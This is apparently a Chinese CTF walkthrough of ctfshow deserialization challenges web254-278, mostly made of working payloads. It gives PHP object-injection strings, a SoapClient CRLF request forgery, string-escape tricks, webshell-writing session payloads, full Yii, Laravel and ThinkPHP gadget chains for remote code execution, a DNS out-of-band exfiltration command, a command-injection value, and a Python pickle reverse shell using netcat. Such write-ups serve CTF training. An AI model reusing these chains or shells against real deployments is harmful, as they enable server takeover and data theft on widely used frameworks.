ctfshow 反序列化(254-278)

目录

web254

web255

web256

web257

web258

web259

web260

web261

web262

web263

web264

web265

web266

web267-270

web271-273

web274

web275

web276

web277-278

web254

代码不是很难,只要让username和password传进去的值是xxxxxx就可以把isVip赋值为true

payload:

?username=xxxxxx&password=xxxxxx

web255

isVip赋值那里没了,只需要把isVip改为true然后序列化一下,传进去

注意的是:反序列化有不可见字符,最好是url编码一下

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=True;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));


#结果O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

然后再cookie加个user参数,值就是上面生成的

web256

加了一个判断,username不能等于password

所以只要序列号的时候改一下值,传进去的值一致即可

 

<?php
class ctfShowUser{
    public $username='aaa';
    public $password='xxxxxx';
    public $isVip=True;
}
$a=new ctfShowUser();
echo urlencode(serialize($a));

#O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A3%3A%22aaa%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

序列化的时候改什么值那么传参的时候也要是一样的 

web257

<?php
class ctfShowUser{
    public function __construct(){
        $this->class=new backDoor();
    }
}

class backDoor{
    private $code="system('ls');";
    public function getInfo(){
        eval($this->code);
    }
}

$a=new ctfShowUser();
echo urlencode(serialize($a));

?>

payload:?username=xxxxxx&password=xxxxxx

在将cookie加个user的值为序列化的值

web258

增加了过滤,我们可以在数字前加上加号绕过

<?php

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $class = 'info';

    public function __construct()
    {
        $this->class = new backDoor();
    }
}
class backDoor{
    public $code='system(ls);';
    public function getInfo(){
        eval($this->code);
    }
}
$a=new ctfShowUser();
$a=serialize($a);
echo urlencode(str_replace('O:','O:+',$a));
#O%3A%2B11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A11%3A%22system%28ls%29%3B%22%3B%7D%7D

web259

public SoapClient::SoapClient ( mixed $wsdl [, array $options ] )

第一个参数是用来指明是否是wsdl模式

如果为null,那就是非wsdl模式,反序列化的时候会对第二个参数指明的url进行soap请求

如果第一个参数为null,则第二个参数必须设置location和uri

其中location是将请求发送到的SOAP服务器的URL

uri是SOAP服务的目标名称空间

第二个参数允许设置user_agent选项来设置请求的user-agent头

一、本地测试,开启监听本地9999端口

二、new SoapClient这个类,通过这种方法可以生成一个http请求的

三、注入一个ua头,可以看到ua头可以成功注入

四、注入换行表单,长度,\r\n是换行的意思

$ua="ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
$client = new SoapClient(null,array('uri'=>'http://127.0.0.1:9999/','location'=>'http://127.0.0.1:9999/flag.php','user_agent'=>$ua));
$client->getFlag();

构造成这样后,内容长度为13,所以后面的都不会看,而且也是post提交

本地构造成功,接下来只需要把端口去掉,然后url编码序列化$client即可

 传参后访问/flag.txt就可以了

web260

直接get传参?ctfshow=ctfshow_i_love_36D

web261

一、这两个魔术方法需要php7.4以上才能生效

二、当__serialize和__sleep方法同时存在,序列化时忽略__sleep方法而执行__serialize;

当__unserialize方法和__wakeup方法同时存在,反序列化时忽略__wakeup方法而执行__unserialize

三、__unserialize的参数:当__serialize方法存在时,参数为__serialize的返回数组;当__serialize方法不存在时,参数为实例对象的所有属性值组合而成的数组

代码的关键点在于code要等于0x36d这里,由于是弱比较,这样是会相等的:

877.php<?php eval($_POST[a]);?> == 0x36d

<?php

class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }


    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}
$a=new ctfshowvip('877.php','<?php eval($_POST[a]);?>');
echo serialize($a);
O:10:"ctfshowvip":3:{s:8:"username";s:7:"877.php";s:8:"password";s:24:"<?php eval($_POST[a]);?>";s:4:"code";N;}

访问877.php即可

web262

反序列化字符串逃逸

一般有这种str_replace将4个字符,替换成5个字符,或者任意的,只要字符替换的个数不相等,都是字符串逃逸的应用场景

来看我本地:

class message{
    public $from;
    public $token='user';
    public function __construct($f){
        $this->from = $f;
    }
}

$a=new message('fuck');
echo serialize($a);

 这个就是一个简单的序列化,这是它的结果

O:7:"message":2:{s:4:"from";s:4:"fuck";s:5:"token";s:4:"user";}

如果在使用一个过滤就是这样

class message{
    public $from;
    public $token='user';
    public function __construct($f){
        $this->from = $f;
    }
}
function filter($a){
    return str_replace('fuck','loveU',$a);
}
$a=new message('fuck');
echo filter(serialize($a));

来看它的结果:

O:7:"message":2:{s:4:"from";s:4:"loveU";s:5:"token";s:4:"user";}

可以看到fuck成功替换成了loveU,s:4这里表示的是4个字符,但是由于我们替换了,变成了5个字符,他就只会看love,这个U就不会看了

而我们需要做的是将token的值进行逃逸,我们先将token修改成admin进行序列化:

O:7:"message":2:{s:4:"from";s:4:"loveU";s:5:"token";s:5:"admin";}

我们要将这一部分逃逸出来    ";s:5:"token";s:5:"admin";}

这里面是27个字符,而fuck替换成loveU会多出来一个字符,如果我们丢27个fuck那么就会多出来27个字符,从而逃逸出去

我们将这个值进行序列化

fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

序列化后的值为:

O:7:"message":2:{s:4:"from";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

可以数一下loveU的个数是135对上了前面的s:135而后面的这一部分:

";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}

将会以我们构造的token为admin为准,后面的token为user的值他就会丢弃,因为我们已经闭合了

在回到题目,在题目前面有一个message.php,进去看看 

就是需要将token变为admin

先原页面进行传参:让它生成一个cookie

f=1&m=2&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck%22;s:5:%22token%22;s:5:%22admin%22;}

然后访问message.php就可以了,他会带着生成的cookie去访问

web263

1、扫描后台发现www.zip源码

2、再inc.php文件内有ini_set('session.serialize_handler', 'php');句话,说明应该是session反序列

有一处写文件地方,我们调用这个类去执行

3、把User这个类序列化,并且传参内容就是写马
用  |O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:34:"<?php eval($_POST[a]);phpinfo();?>";s:6:"status";N;}";s:6:"status";N;}内容去访问index.php的话

会生成一个这个:

xxxxxx|后面的内容,后面的字符就不会管了

4、然后执行check.php让内容反序列化去调用User这个类生成文件

5、访问 log-1.php即可, 注:写一句话木马的时候在后面加phpinfo(); 可能由于编码的一些问题,或者直接写system("tac f*") 这样不用加phpinfo();

class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
}
$user = new User('1.php','<?php eval($_POST[1]);phpinfo();?>');

echo base64_encode('|'.serialize($user));

web264

同262

web265

看源码,关键点在于token为md5随机值,而login又需要token与password强等,所以我们可以将token的地址赋值给password

class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t){
        $this->token=$t;
        $this->password=&$this->token;
    }
}
$a=new ctfshowAdmin('1');
echo serialize($a);

进行传参即可:

O:12:"ctfshowAdmin":2:{s:5:"token";s:1:"1";s:8:"password";R:2;}

web266

php://input就是直接post提交

但是hackbar有bug不会提交数据,所以抓包改

如果直接提交序列化的内容时,会有异常爆出来

将花括号内容删掉,没有报错

成功出flag

web267-270

先弱密码登录 用户名admin 密码 admin

查看aobut页面源码,发现view-source提示

加上view-source

?r=site%2Fabout&view-source

发现后门,可以利用反序列化漏洞

/index.php?r=/backdoor/shell&code=

这是一条yii的利用链子

<?php
namespace yii\rest{
    class IndexAction {
        public $checkAccess;
        public $id;
        public function __construct()
        {

            $this->checkAccess='shell_exec';   #可以试试带外
            $this->id = "echo '<?php eval(\$_POST[1]);phpinfo(); ?>' > /var/www/html/basic/web/1.php";;

        }
    }
}
namespace yii\web{
    use yii\rest\IndexAction;

    class DbSession {
        protected $fields = [];
        public $writeCallback;
        public function __construct()
        {
            $this->writeCallback=[(new IndexAction),"run"];
            $this->fields['1'] = 'aaa';
        }

    }
}
namespace yii\db {
    use yii\web\DbSession;

    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new DbSession();
        }
    }
}
namespace {
    $exp=print(base64_encode(serialize(new yii\db\BatchQueryResult())));
}
?>

 没办法输出内容,可以尝试dns带外找到index.php所在目录。(应该是把 / 过滤了,无法执行命令直接查看根目录)

$this->checkAccess = 'shell_exec';
$this->id = 'wget `pwd|base64`.tgsjzu.dnslog.cn';

然后将命令写入php文件里

$this->checkAccess='shell_exec';
$this->id = "echo '<?php eval(\$_POST[1]);phpinfo(); ?>' > /var/www/html/basic/web/1.php";;

访问1.php即可

web271-273

Laravel反序列化

使用通用链子:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-05-05 22:27:03
# @Last Modified by:   h1xa
# @Last Modified time: 2021-05-05 22:39:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


namespace PhpParser\Node\Scalar\MagicConst{
    class Line {}
}
namespace Mockery\Generator{
    class MockDefinition
    {
        protected $config;
        protected $code;

        public function __construct($config, $code)
        {
            $this->config = $config;
            $this->code = $code;
        }
    }
}
namespace Mockery\Loader{
    class EvalLoader{}
}
namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver;
        public function __construct($queueResolver)
        {
            $this->queueResolver = $queueResolver;
        }
    }
}
namespace Illuminate\Foundation\Console{
    class QueuedCommand
    {
        public $connection;
        public function __construct($connection)
        {
            $this->connection = $connection;
        }
    }
}
namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        protected $events;
        protected $event;
        public function __construct($events, $event)
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}
namespace{
    $line = new PhpParser\Node\Scalar\MagicConst\Line();
    $mockdefinition = new Mockery\Generator\MockDefinition($line,"<?php file_put_contents('1.php','<?php eval(\$_POST[a]);?>');?>");
    $evalloader = new Mockery\Loader\EvalLoader();
    $dispatcher = new Illuminate\Bus\Dispatcher(array($evalloader,'load'));
    $queuedcommand = new Illuminate\Foundation\Console\QueuedCommand($mockdefinition);
    $pendingbroadcast = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$queuedcommand);
    echo urlencode(serialize($pendingbroadcast));
}

访问1.php即可,密码是a

web274

thinkphp反序列化,使用网上的链子

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-05-05 22:51:27
# @Last Modified by:   h1xa
# @Last Modified time: 2021-05-05 23:01:43
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["lin"=>["ctf","show"]];
        $this->data = ["lin"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单ajax伪装变量
        'var_ajax'         => '_ajax',
    ];
    function __construct(){
        $this->filter = "system";
        $this->config = ["var_ajax"=>'lin'];
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}


namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));

传参数后在参数后面加个lin参数,执行命令

web275

fn=php;tac f*

web276

有点难,先留着

web277-278

python反序列化

进行反弹shell

import base64
import pickle
class CTFshow():
    def __reduce__(self):
        return (eval,("__import__('os').popen('nc ip地址 端口 -e /bin/sh').read()",))

cs = CTFshow()

ctfshow_ser = pickle.dumps(cs)  #不加s是文件
print(base64.b64encode(ctfshow_ser))

 如果反弹不成功可以看看防火墙是否是开的,看下安全组端口是否开放

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值